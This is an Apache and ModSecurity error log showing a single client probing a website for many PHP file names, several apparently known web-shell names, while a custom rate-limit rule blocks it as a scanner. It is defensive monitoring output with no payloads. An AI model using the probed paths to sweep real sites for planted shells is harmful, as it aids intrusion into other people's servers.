[Fri Feb 06 23:56:35.812128 2026] [:error] [pid 36857:tid 36861] [client 20.203.201.174:28334] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aYYPM5VQwfj7Kp4Dd0EFNwAAAYI"]
[Fri Feb 06 23:56:37.942924 2026] [:error] [pid 3382:tid 3441] [client 20.203.201.174:3411] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aYYPNcIgU1HR0rhYrE92XAAAAIE"]
[Fri Feb 06 23:56:39.614792 2026] [:error] [pid 36857:tid 36868] [client 20.203.201.174:37548] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aYYPN5VQwfj7Kp4Dd0EFPAAAAYk"]
[Fri Feb 06 23:56:40.304327 2026] [:error] [pid 46432:tid 46449] [client 20.203.201.174:31821] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aYYPOAbwJwu_od0kZjNCmwAAAk8"]
[Fri Feb 06 23:56:41.138926 2026] [:error] [pid 36928:tid 36933] [client 20.203.201.174:48510] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aYYPOZs7fyU8D36r-OqSvgAAAcE"]
[Fri Feb 06 23:56:42.637434 2026] [:error] [pid 3477:tid 3479] [client 20.203.201.174:65080] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aYYPOrL0Hdh40C7HYgWPKgAAAMA"]
[Fri Feb 06 23:56:43.867599 2026] [:error] [pid 3477:tid 3498] [client 20.203.201.174:38347] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aYYPO7L0Hdh40C7HYgWPKwAAANM"]
[Fri Feb 06 23:56:45.054402 2026] [:error] [pid 3477:tid 3487] [client 20.203.201.174:65122] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aYYPPbL0Hdh40C7HYgWPLAAAAMg"]
[Fri Feb 06 23:56:46.809419 2026] [:error] [pid 3477:tid 3493] [client 20.203.201.174:26227] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aYYPPrL0Hdh40C7HYgWPLgAAAM4"]
[Fri Feb 06 23:56:47.813990 2026] [:error] [pid 3381:tid 3423] [client 20.203.201.174:31104] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aYYPPy81zqRg96ZREgiM3wAAAEo"]
[Fri Feb 06 23:56:49.194821 2026] [:error] [pid 3381:tid 3431] [client 20.203.201.174:28625] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aYYPQS81zqRg96ZREgiM5QAAAFI"]
[Fri Feb 06 23:56:50.393332 2026] [:error] [pid 3381:tid 3413] [client 20.203.201.174:43245] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aYYPQi81zqRg96ZREgiM5wAAAEA"]
[Fri Feb 06 23:56:51.463082 2026] [:error] [pid 15821:tid 15835] [client 20.203.201.174:30202] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aYYPQ3ARQa67J4c772klHAAAAQo"]
[Fri Feb 06 23:56:52.421837 2026] [:error] [pid 36857:tid 36881] [client 20.203.201.174:36078] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aYYPRJVQwfj7Kp4Dd0EFQAAAAZY"]
[Fri Feb 06 23:56:53.804411 2026] [:error] [pid 3381:tid 3421] [client 20.203.201.174:30687] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aYYPRS81zqRg96ZREgiM7gAAAEg"]
[Fri Feb 06 23:56:54.601008 2026] [:error] [pid 3382:tid 3460] [client 20.203.201.174:43748] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aYYPRsIgU1HR0rhYrE92agAAAJQ"]
[Fri Feb 06 23:56:55.520012 2026] [:error] [pid 37019:tid 37037] [client 20.203.201.174:8641] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aYYPRwkAjqd3bcgYBrt8NAAAAhA"]
[Fri Feb 06 23:56:56.286448 2026] [:error] [pid 36857:tid 36867] [client 20.203.201.174:31419] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aYYPSJVQwfj7Kp4Dd0EFQwAAAYg"]
[Fri Feb 06 23:56:57.284744 2026] [:error] [pid 3477:tid 3483] [client 20.203.201.174:31408] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aYYPSbL0Hdh40C7HYgWPNQAAAMQ"]
[Fri Feb 06 23:56:58.637431 2026] [:error] [pid 3382:tid 3452] [client 20.203.201.174:27401] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aYYPSsIgU1HR0rhYrE92cgAAAIw"]
[Fri Feb 06 23:57:00.462223 2026] [:error] [pid 36857:tid 36879] [client 20.203.201.174:25665] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aYYPTJVQwfj7Kp4Dd0EFRwAAAZQ"]
[Fri Feb 06 23:57:01.575573 2026] [:error] [pid 3513:tid 3525] [client 20.203.201.174:43713] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aYYPTTSw3-HAlzpqSxzm0QAAAUo"]
[Fri Feb 06 23:57:02.251173 2026] [:error] [pid 3382:tid 3464] [client 20.203.201.174:3152] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aYYPTsIgU1HR0rhYrE92dAAAAJg"]
[Fri Feb 06 23:57:03.228827 2026] [:error] [pid 36857:tid 36875] [client 20.203.201.174:27182] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aYYPT5VQwfj7Kp4Dd0EFSAAAAZA"]
[Fri Feb 06 23:57:04.618883 2026] [:error] [pid 46432:tid 46456] [client 20.203.201.174:3578] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aYYPUAbwJwu_od0kZjNCswAAAlY"]
[Fri Feb 06 23:57:05.966210 2026] [:error] [pid 15821:tid 15831] [client 20.203.201.174:3145] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aYYPUXARQa67J4c772klIgAAAQY"]
[Fri Feb 06 23:57:07.633489 2026] [:error] [pid 15821:tid 15836] [client 20.203.201.174:3583] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aYYPU3ARQa67J4c772klJQAAAQs"]
[Fri Feb 06 23:57:09.709416 2026] [:error] [pid 36928:tid 36941] [client 20.203.201.174:48421] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aYYPVZs7fyU8D36r-OqTIgAAAck"]
[Fri Feb 06 23:57:12.018363 2026] [:error] [pid 36928:tid 36949] [client 20.203.201.174:49644] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aYYPWJs7fyU8D36r-OqTJwAAAdE"]
[Fri Feb 06 23:57:13.148480 2026] [:error] [pid 36928:tid 36932] [client 20.203.201.174:25719] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aYYPWZs7fyU8D36r-OqTLAAAAcA"]
[Fri Feb 06 23:57:14.548184 2026] [:error] [pid 36928:tid 36944] [client 20.203.201.174:28601] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aYYPWps7fyU8D36r-OqTNAAAAcw"]
[Fri Feb 06 23:57:15.426961 2026] [:error] [pid 46432:tid 46440] [client 20.203.201.174:49646] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aYYPWwbwJwu_od0kZjNCuQAAAkY"]
[Fri Feb 06 23:57:16.514696 2026] [:error] [pid 3513:tid 3523] [client 20.203.201.174:3932] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aYYPXDSw3-HAlzpqSxzm2AAAAUg"]
[Fri Feb 06 23:57:18.092612 2026] [:error] [pid 3382:tid 3463] [client 20.203.201.174:28862] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aYYPXsIgU1HR0rhYrE92gQAAAJc"]
[Fri Feb 06 23:57:19.381864 2026] [:error] [pid 37019:tid 37028] [client 20.203.201.174:3941] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aYYPXwkAjqd3bcgYBrt8PwAAAgc"]
[Fri Feb 06 23:57:21.151353 2026] [:error] [pid 3381:tid 3437] [client 20.203.201.174:26652] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aYYPYS81zqRg96ZREgiNOAAAAFg"]
[Fri Feb 06 23:57:26.470369 2026] [:error] [pid 3513:tid 3526] [client 20.203.201.174:3988] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aYYPZjSw3-HAlzpqSxzm2wAAAUs"]
[Fri Feb 06 23:57:27.174434 2026] [:error] [pid 36857:tid 36874] [client 20.203.201.174:49639] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aYYPZ5VQwfj7Kp4Dd0EFVgAAAY8"]
[Fri Feb 06 23:57:28.479634 2026] [:error] [pid 3381:tid 3413] [client 20.203.201.174:26679] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aYYPaC81zqRg96ZREgiNOwAAAEA"]
[Fri Feb 06 23:57:29.446973 2026] [:error] [pid 3381:tid 3420] [client 20.203.201.174:32954] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aYYPaS81zqRg96ZREgiNPQAAAEc"]
[Fri Feb 06 23:57:30.193123 2026] [proxy_fcgi:error] [pid 36928:tid 36939] [client 20.203.201.174:26731] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:57:30.467899 2026] [proxy_fcgi:error] [pid 36928:tid 36934] [client 20.203.201.174:26731] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:57:30.774968 2026] [proxy_fcgi:error] [pid 36928:tid 36949] [client 20.203.201.174:26731] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:57:31.014075 2026] [proxy_fcgi:error] [pid 36928:tid 36946] [client 20.203.201.174:26731] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:57:31.260304 2026] [proxy_fcgi:error] [pid 36928:tid 36935] [client 20.203.201.174:26731] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:57:31.662968 2026] [proxy_fcgi:error] [pid 36928:tid 36942] [client 20.203.201.174:26731] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:57:31.901611 2026] [proxy_fcgi:error] [pid 36928:tid 36953] [client 20.203.201.174:26731] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:57:32.188526 2026] [proxy_fcgi:error] [pid 36928:tid 36945] [client 20.203.201.174:26731] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:57:32.431762 2026] [proxy_fcgi:error] [pid 36928:tid 36944] [client 20.203.201.174:26731] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:57:32.706027 2026] [proxy_fcgi:error] [pid 36928:tid 36956] [client 20.203.201.174:26731] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:57:32.945230 2026] [proxy_fcgi:error] [pid 36928:tid 36939] [client 20.203.201.174:26731] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:57:33.181187 2026] [:error] [pid 36928:tid 36934] [client 20.203.201.174:26731] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffile.php"] [unique_id "aYYPbZs7fyU8D36r-OqTZAAAAcI"]
[Fri Feb 06 23:57:34.644314 2026] [:error] [pid 3382:tid 3450] [client 20.203.201.174:34544] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffile.php"] [unique_id "aYYPbsIgU1HR0rhYrE92iwAAAIo"]
[Fri Feb 06 23:57:35.840196 2026] [:error] [pid 3477:tid 3479] [client 20.203.201.174:46348] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffile.php"] [unique_id "aYYPb7L0Hdh40C7HYgWPdwAAAMA"]
[Fri Feb 06 23:57:37.784643 2026] [:error] [pid 37019:tid 37027] [client 20.203.201.174:4001] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffile.php"] [unique_id "aYYPcQkAjqd3bcgYBrt8QwAAAgY"]
[Fri Feb 06 23:57:39.375281 2026] [:error] [pid 37019:tid 37034] [client 20.203.201.174:49612] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aYYPcwkAjqd3bcgYBrt8RAAAAg0"]
[Fri Feb 06 23:57:41.028495 2026] [:error] [pid 3381:tid 3414] [client 20.203.201.174:49645] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aYYPdS81zqRg96ZREgiNVgAAAEE"]
[Fri Feb 06 23:57:44.355844 2026] [:error] [pid 3477:tid 3501] [client 20.203.201.174:46394] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aYYPeLL0Hdh40C7HYgWPfwAAANY"]
[Fri Feb 06 23:57:46.425415 2026] [:error] [pid 3382:tid 3457] [client 20.203.201.174:32906] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aYYPesIgU1HR0rhYrE92mAAAAJE"]
[Fri Feb 06 23:57:48.510634 2026] [:error] [pid 3477:tid 3500] [client 20.203.201.174:31181] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aYYPfLL0Hdh40C7HYgWPhgAAANU"]
[Fri Feb 06 23:57:50.266285 2026] [:error] [pid 15821:tid 15846] [client 20.203.201.174:35970] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aYYPfnARQa67J4c772klPQAAARU"]
[Fri Feb 06 23:57:50.949176 2026] [:error] [pid 36928:tid 36940] [client 20.203.201.174:3960] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aYYPfps7fyU8D36r-OqTcQAAAcg"]
[Fri Feb 06 23:57:52.055317 2026] [:error] [pid 3477:tid 3483] [client 20.203.201.174:36010] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aYYPgLL0Hdh40C7HYgWPjgAAAMQ"]
[Fri Feb 06 23:57:52.742471 2026] [:error] [pid 3477:tid 3489] [client 20.203.201.174:26702] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aYYPgLL0Hdh40C7HYgWPkwAAAMo"]
